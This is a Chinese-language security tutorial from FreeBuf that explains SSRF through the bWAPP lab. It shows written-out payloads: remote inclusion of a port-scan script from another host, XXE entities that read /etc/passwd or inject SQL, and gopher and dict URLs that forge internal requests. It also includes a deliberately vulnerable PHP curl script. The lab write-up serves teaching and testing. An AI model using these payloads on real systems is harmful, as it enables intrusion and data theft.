官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序
0x00 背景
上周梳理XXE相关知识的时候,发现可以利用XXE进行SSRF探测内网和入侵内网站点,所以本周便补充梳理下SSRF的知识。本篇以bWAPP环境中的SSRF为例子,说说SSRF的基础知识,然后再梳理下SSRF拓展知识,主要是gopher和dict协议的使用。
0x01 SSRF简介
概念:SSRF(Server-Side Request Forgery),服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制。
那么SSRF 可以做什么呢?
1.内外网的端口和服务扫描
2.主机本地敏感数据的读取
3.内外网主机应用程序漏洞的利用
4.内外网Web站点漏洞的利用
……
基本上啥都能做了。
0x02 SSRF基础知识
1. bWAPP中的SSRF
bWAPP(buggy web Application) 这是一个集成了各种常见漏洞和最新漏洞的开源Web应用程序,集成了超过100种漏洞,个人觉得还是非常好用的,特别是在找漏洞利用示例的时候,往往能够节省一些时间。
bWAPP(buggy web Application) 的搭建和一些闯关WriteUp可以参考FB上的这篇文章:BWAPP:一款非常好用的漏洞演示平台
安装完毕后,使用bee/bug进行登录,登录的时候的等级选择为low,登录后选择SSRF的靶场,然后点击Hack进行演练。
2. SSRF的3个小实验
bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:
任务1:使用远程文件包含进行端口扫描(内网探测)
任务2:使用XXE获取敏感文件中的内容(文件读取)
任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)
任务1:使用远程文件包含进行端口扫描
点击任务1中的Port scan可以获得一份端口扫描的攻击脚本
http://192.168.163.157/evil/ssrf-1.txt,脚本中具体的内容就不进行讲解了,相信大家能够看懂脚本的功能和执行流程,仅需要包含脚本,并请求IP参数为对应的主机即可,接下来就是利用bWAPP中的远程文件包含漏洞,执行端口扫描的脚本。
在Choose your bug中选择Remote & Local File Inclusion (RFI/LFI)security level还是选择low,然后点击Hack。
进入Remote & Local File Inclusion (RFI/LFI)的实验后,看到有个选择语言的功能模块,直接执行下,观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
GET的请求: http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go
使用如下PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务。
POST:http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go
POST DATA:ip=192.168.163.159
这里xxx.xxx.xxx (192.168.163.1)是扫描脚本的访问地址,192.168.163.159是要扫描的目标主机地址,且该地址是xxx.xxx.xxx主机无法访问到的,然后方便查看区分使用post请求提交要进行扫描的目标主机IP,扫描结束后便返回结果。
任务2:使用XXE获取敏感文件中的内容
先点击任务2中的Access得到XXE的利用脚本:http://xxx.xxx.xxx/bWAPP/xxe-1.php,然后访问XML External Entity Attacks (XXE)演练环境,使用burpSuite抓包,并发送到repeater中进行测试。
测试中涉及的XXE知识可以参考http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA这篇文章。
使用http协议获取/bWAPP/robots.txt的内容。
使用php协议获取/bWAPP/passwords/heroes.xml中的经过base64编码的数据。
使用file协议获取bWAPP本机的/etc/passwd的内容。
任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(没有演示环境,使用SQL注入漏洞代替)
这个任务需要有SmartTV的靶场才能进行学习,但是该任务仅是用来说明可以使用XXE中的SSRF进行站点或应用漏洞的利用,这里我没有按照该任务中要求对SmartTV的拒绝服务漏洞进行利用,而是用之前的例子对内网站点的SQL注入漏洞进行利用。如,192.168.163.150主机上有注入漏洞那么可以发送如下payload可以使用SSRF进行SQL漏洞的利用,当然也可以进行Struts2等漏洞的利用。
1.<?xml version="1.0" encoding="utf-8"?>
2.<!DOCTYPE root [
3. <!ENTITY bWAPP SYSTEM "http://192.168.163.150/news.php?newsid=-11+union+select+1,user()">
4.]>
5.<reset><login>&bWAPP;</login><secret>blah</secret></reset>
0x03 SSRF知识拓展
以上讲述的是SSRF的一般用法,用http,file,php协议来进行内网探测,文件读取,漏洞利用等,接下来讨论的是SSRF的拓展知识。回想上面的利用都是发送GET的请求进行利用的。那么请思考下如果内网站点的漏洞在POST请求的参数中呢?
又或者漏洞点在request header 中的某个字段里呢?应该如何构造SSRF请求进行利用?
SSRF中各个编程语言可以使用的协议如下图所示:
实验靶机搭建:
从上面的表格内容可以知道,在php中要使用gopher协议需要curl的支持,当然curl还支持了很多的协议,首先准备好lamp的环境,如果ubuntu上的PHP没有curl拓展,需要使用以下命令进行安装 。
sudo apt-get install php5-curl
sudo service apache restart
然后编写以下测试代码,用户可控的输入点是$_GET['url']到此就完成实验靶机的搭建了。
1.<?php
2.// 创建一个新cURL资源
3.$ch = curl_init();
4.// 设置URL和相应的选项
5.curl_setopt($ch, CURLOPT_URL, $_GET['url']);
6.curl_setopt($ch, CURLOPT_HEADER, false);
7.// 抓取URL并把它传递给浏览器
8.curl_exec($ch);
9.//关闭cURL资源,并且释放系统资源
10.curl_close($ch);
11.?>
1. file协议的运用
file协议还是和之前文章讲述的一样,此处就使用以下的图片进行展示,不再进行讲述。
请求 http://192.168.163.150/test.php?url=file:///etc/passwd便可以获取敏感文件的信息。
2. gopher协议的运用
接下来主要介绍下在SSRF漏洞利用中号称万金油的gopher协议。
简要介绍:gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样变可以解决漏洞点不在GET参数的问题了。
基本协议格式:URL:gopher://<host>:<port>/<gopher-path>
进行如下请求可以发送一个POST请求,且参数cmd的值为balabal,这里构造gopher请求的时候,回车换行符号要进行2次url编码%250d%250a
http://192.168.163.150/test.php?url=gopher://192.168.163.1:80/_POST%20/evil.php%20HTTP/1.1%250d%250aHost:%20192.168.163.1%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=balabala
此时可以在192.168.163.1主机中的access.log,找到访问日志。
当然也可以使用网络数据包分析工具,抓取TCP流量中HTTP的数据,这里我使用的是科来网络分析器。
由于gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色,具体的攻击方式可以参考如下链接:
https://blog.chaitin.cn/gopher-attack-surfaces/
3. dict协议应用
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息。
如请求http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info 可以获取目标主机的3306端口上运行着mysq-l5.5.55版本的应用。
0x04 总结
本篇仅介绍了SSRF的一些基本知识,SSRF有很多很棒的利用案例,可以在wooyun漏洞库或互联网上找到,还有很多骚知识可以参考猪猪侠大佬的《SSRF漏洞自动化利用》和Orange Tsai的《A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!》这两个议题,期待和师傅的讨论和交流。
请登录/注册后在FreeBuf发布内容哦